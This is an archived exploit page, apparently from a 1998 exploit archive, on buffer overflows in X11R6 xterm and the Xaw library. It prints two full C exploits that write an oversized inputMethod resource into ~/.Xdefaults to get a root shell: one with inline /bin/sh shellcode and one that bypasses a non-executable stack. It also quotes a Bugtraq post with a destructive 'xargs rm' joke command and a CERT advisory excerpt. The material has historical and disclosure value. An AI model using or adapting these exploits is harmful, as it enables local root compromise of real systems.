Xaw and Xterm vulnerabilities

Summary
Description:There are a number of vulnerabilities in X11R6 xterm(1) and Xaw(3c) libraries. They are mostly all overflows
Author:Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz> and the exploit was written by alcuin
Compromise: root (local)
Vulnerable Systems:Those running Xterm or X apps linked to vulnerable Xaw. Virtually all versions of X are vulnerable to the *Keymap hole and the others are mostly X11R6 specific (which virtually everyone uses anyway). Thus it is likely that many Solaris, Linux, HP/UX, and perhaps IRIX and AIX boxes are vulnerable.
Date:4 May 1998
Notes:I have also included an exploit sent to me by "M.C.Mar" <emsi@it.com.pl>. This exploit works against Xaw and neXtaw even WITH Solar Designer's non-executable stack patch applied. Check it out!
Details

Date: Wed, 10 Jun 1998 20:09:07 +0200 (MET DST) From: "M.C.Mar" <woloszyn@nospam.it.pl> X-Sender: woloszyn@dollar.it.com.pl
Reply-To: "M.C.Mar" <emsi@it.com.pl>
To: fyodor@nmap.org
Subject: my sploit
Message-ID: <Pine.GSO.3.96.980610200850.7281v-100000@dollar.it.com.pl>
X-Hidden-txt: Screw Windoze

Hi!

I developed sploit against Xaw and neXtaw which works even is Solar Designer's patch is applyed.

While compiling tandard sploit developed by alcuin: emsi:~/hack> gcc xterm.c
emsi:~/hack> ./a.out
Segmentation fault

Then as root:
emsi:/home/mcmar/hack# grep overflow /var/adm/syslog -A1 Jun 10 19:09:39 emsi kernel: Possible buffer overflow exploit attempt: Jun 10 19:09:39 emsi kernel: Process xterm (pid 311, uid 1001, euid 0).

Now compile my sploit:
emsi:~/hack> gcc 3xterm.c -L /usr/X11/lib/ -lXaw -lXmu -lXt -lSM -lICE -lXext -lX11 -lc
emsi:~/hack> ./a.out
bash#

Cool, izn't it? ;)

And here goes (for the eduction of curse ;) my sploit source:

emsi:~/hack> cat 3xterm.c
/*

A simple xploit working arround non-executable stack patch! ;) Based on Solar Designer's: "Getting around non-executable stack(fix)" post and:
Rafał Wojtczuk's "Defeating Solar Designer'a Non-executable Stach Patch"

sploit by Kil3r of Lam3rZ against both Xaw and neXtaw widgets based on xterm_exp.c by alcuin

Compile it like this:
gcc 3xterm.c -L /usr/X11/lib/ -lXaw -lXmu -lXt -lSM -lICE -lXext -lX11 -lc

Description:
The sploit simply passes the EXECLP address and its parameters addresses onto the stack. To work fine you need to look for execlp Program Linkage Table entry in xterm and for "/bin/sh" string in its data segment...

emsi:~mcmar/hack# gdb xterm
GDB is free software and you are welcome to distribute copies of it under certain conditions; type "show copying" to see the conditions. There is absolutely no warranty for GDB; type "show warranty" for details. GDB 4.16 (i486-slackware-linux),
Copyright 1996 Free Software Foundation, Inc...(no debugging symbols found)...
(gdb) print execlp
$1 = {<text variable, no debug info>} 0x804bc78 <execlp> (gdb) x/s 0x8063d2e
0x8063d2e <_fini+8158>: "/bin/sh"

0x804bc78 and 0x8063d2e are OK for me, but you may need to look for the riht ones in your case... ;)

GreetZ: bulba, smierc and whole Lam3rZ teem and other Polish hackers.

*/

#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>

#define CONFFILE ".Xdefaults"
#define OLDFILE ".Xdefaults.old"
#define NEWFILE ".Xdefaults.new"

#define EXECLP 0x804bc78 // execlp PLT adress in xterm #define BIN_SH 0x8063d2e // "/bin/sh" string address in xterm ;)

int *ptr;

void main(int argc, char *argv[]) {

char *home;
FILE *f_in, *f_out;
char buff[16384];
char shellbuf[16384];
char *s;
int i;

if (home = getenv("HOME")) chdir(home);

if (!(f_out = fopen(NEWFILE, "w"))) { perror("fopen");
exit(1);
}

if (f_in = fopen(CONFFILE, "r")) {
fseek(f_in,0,SEEK_SET);
while (!feof(f_in)) {

      fgets(buff,16384,f_in);
      for (s=buff;isblank(*s);s++);
      if (strncmp(s,"xterm*inputMethod",17)<0)
        fputs(buff,f_out);

}
fclose(f_in);
}

/* fill the buffer with nops */
memset(shellbuf, 0x90, sizeof(shellbuf)); shellbuf[sizeof(shellbuf)-1] = 0;

ptr = (int *)(shellbuf+1028);
*ptr++ =EXECLP;
*ptr++ =EXECLP;
*ptr++ =BIN_SH;
*ptr++ =BIN_SH;
*ptr++ = 0;

fputs("xterm*inputMethod:",f_out);
fputs(shellbuf, f_out);
fclose(f_out);

system("/bin/cp "CONFFILE" "OLDFILE); system("/bin/mv -f "NEWFILE" "CONFFILE);

execl("/usr/X11R6/bin/xterm","xterm",NULL); }


M.C.Mar An NT server can be run by an idiot, and usually is. emsi@it.pl

"If you can't make it good, make it LOOK good." - Bill Gates


Date: Mon, 4 May 1998 11:06:05 +0200
From: Pavel Kankovsky <peak@kerberos.troja.mff.cuni.cz>
To: BUGTRAQ@NETSPACE.ORG
Subject: Re: TOG and xterm problem

On Fri, 1 May 1998, Jeff Gehlbach wrote:

> Open Group, when *will* the rest of us see at least some clues about where
> the bug lies and how it can be fixed?  You say you won't release patches
> to X11R<6.4, but can you at least be nice enough to tell those of us using
> the still-perfectly-serviceable 6.3 just a tidbit about the problem?

Believe or not, it took me 10 minutes to grep the appropriate parts of
X11R6.3 sources, following the clues mentioned in the CERT advisory, and
find the bugs--at least some of them.

xc/programs/xterm/charproc.c:
* HandleKeymapChange():

    (void) sprintf( mapName, "%sKeymap", params[0] );
    (void) strcpy( mapClass, mapName );

(actually, the second command is mostly harmless because the size of
mapName and mapClass is the same)

xc/programs/xterm/charproc.c:
* VTInitI18N():

        strcpy(tmp, term->misc.input_method);
...
            strcpy(buf, "@im=");
            strcat(buf, s);
...
    strcpy(tmp, term->misc.preedit_type);

xc/lib/Xaw/XawIm.c:
* OpenIM():

            strcpy(modifiers, "@im=");
            strcat(modifiers, ve->im.im_list[i]);

* ParseIMNameList():

    char        *s, *save_s, *ss, *list[32], **lp, *end;
...
        list[i] = s;

(This one is quite interesting.
Exercise for the reader: write an exploit.)

<ironic>
Security hint of the day:
        find . -name '*.[ch]' | \
        xargs egrep -l 'sprintf|strcat|strcpy' | \
        xargs rm
</ironic>


--Pavel Kankovsky aka Peak  [ Boycott Microsoft--http://www.vcnet.com/bms ]


P.S. A copy of this message is being submitted to XFree86.




/*
 
  xterm_exp.c : linux/x86 xterm.Xaw exploit
  by alcuin - 5/4/98 - [ http://www.rootshell.com/ ]

  It works against both Xaw and neXtaw widgets

  NB: you have to cp ~/.Xdefaults.old ~/.Xdefaults to be able to
  use xterm again.
        
*/

#include <stdlib.h>
#include <stdio.h>
#include <ctype.h>


unsigned int getsp() {
  asm("mov %esp,%eax");
}

inline rootshell(){
  __asm__(
      "movb $0x56, %al\n\t"
      "l1:cmpb $0x12, %al\n\t"
      "je l2\n\t"
      "movb $0x12,%al\n\t"
      "call l1\n\t"
      "l2:pop %esi\n\t"
      "xorl %eax,%eax\n\t"
      "movb $0x25, %al\n\t"
      "addl %eax,%esi\n\t"
      "movl %esi,%ebx\n\t"
      "movl %esi,%edi\n\t"
      "movb $8,%al\n\t"
      "addl %eax,%edi\n\t"
      "movb $5,%al\n\t"
      "addl %eax,%esi\n\t" 
      "movl %esi,(%edi)\n\t"
      "movl %edi,%ecx\n\t"
      "incl %edi\n\t"
      "incl %edi\n\t"
      "incl %edi\n\t"
      "incl %edi\n\t"
      "xorb %al,%al\n\t"
      "movl %eax,(%edi)\n\t"
      "movl %edi,%edx\n\t"
      "movb $0xb,%al\n\t"
      "int $0x80\n\t"
      ".string \"/bin/sh\"\n"
      );
}

  
#define CONFFILE ".Xdefaults"
#define OLDFILE ".Xdefaults.old"
#define NEWFILE ".Xdefaults.new"

main (int argc, char **argv) {

  char *home;
  FILE *f_in, *f_out;
  char buf[16384];
  char shellbuf[16384];
  char *s;
  int i;
  unsigned int sp=getsp();

  if (home = getenv("HOME")) chdir(home);

  if (!(f_out = fopen(NEWFILE, "w"))) {
    perror("fopen");
    exit(1);
  }

  if (f_in = fopen(CONFFILE, "r")) {
    fseek(f_in,0,SEEK_SET);
    while (!feof(f_in)) {
      fgets(buf,16384,f_in);
      for (s=buf;isblank(*s);s++);
      if (strncmp(s,"xterm*inputMethod",17)<0)
        fputs(buf,f_out);
    }
    fclose(f_in);
  }

  /* fill the buffer with nops */
  memset(shellbuf, 0x90, sizeof(shellbuf));
  shellbuf[sizeof(shellbuf)-1] = 0;

  /* write the return adress */
  s = shellbuf+2052;
  *(int *)s=sp+0x69F5;
  
  /* write the root shell code */
  s = shellbuf+2800;
  strcpy(s,(char*)rootshell);

  fputs("xterm*inputMethod:",f_out);
  fputs(shellbuf, f_out);
  fclose(f_out);

  system("/bin/cp "CONFFILE" "OLDFILE);
  system("/bin/mv -f "NEWFILE" "CONFFILE);

  execl("/usr/X11R6/bin/xterm","xterm",NULL);
}

[ From CERT advisory VB-98.04 ]

I. Description

Vulnerabilities exist in the terminal emulator xterm(1), and the Xaw
library distributed in various MIT X Consortium; X Consortium, Inc.;
and The Open Group X Project Team releases. These vulnerabilities may
be exploited by an intruder to gain root access. 

The resources and the releases affected by the xterm vulnerability are:

                              Resources
                 inputMethod       preeditType      *Keymap
    Release      
    X11R3           NO                 NO             YES
    X11R4           NO                 NO             YES
    X11R5           NO                 NO             YES
    X11R6           NO                 NO             YES
    X11R6.1         YES                YES            YES
    X11R6.2         YES                YES            YES
    X11R6.3         YES                YES            YES
    X11R6.4         YES                YES            YES

The resources and the releases affected by the Xaw library
vulnerability are

                              Resources
                 inputMethod       preeditType
    Release      
    X11R6           YES                YES
    X11R6.1         YES                YES
    X11R6.2         YES                YES
    X11R6.3         YES                YES
    X11R6.4         YES                YES


(X11R6.2 was not released to the public.)

The Open Group X Project Team has investigated the issue and recommends 
the following steps for neutralizing the exposure. It is HIGHLY RECOMMENDED
that these measures be implemented on ALL vulnerable systems. This issue 
will be corrected in future X Project Team releases of X11.

More Exploits!

The master index of all exploits is available here (Very large file)
Or you can pick your favorite operating system:
All OS's Linux Solaris/SunOS Micro$oft
*BSD Macintosh AIX IRIX
ULTRIX/Digital UNIX HP/UX SCO Remote exploits

This page is part of Fyodor's exploit world. For a free program to automate scanning your network for vulnerable hosts and services, check out my network mapping tool, nmap. Or try these Insecure.Org resouces:

[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault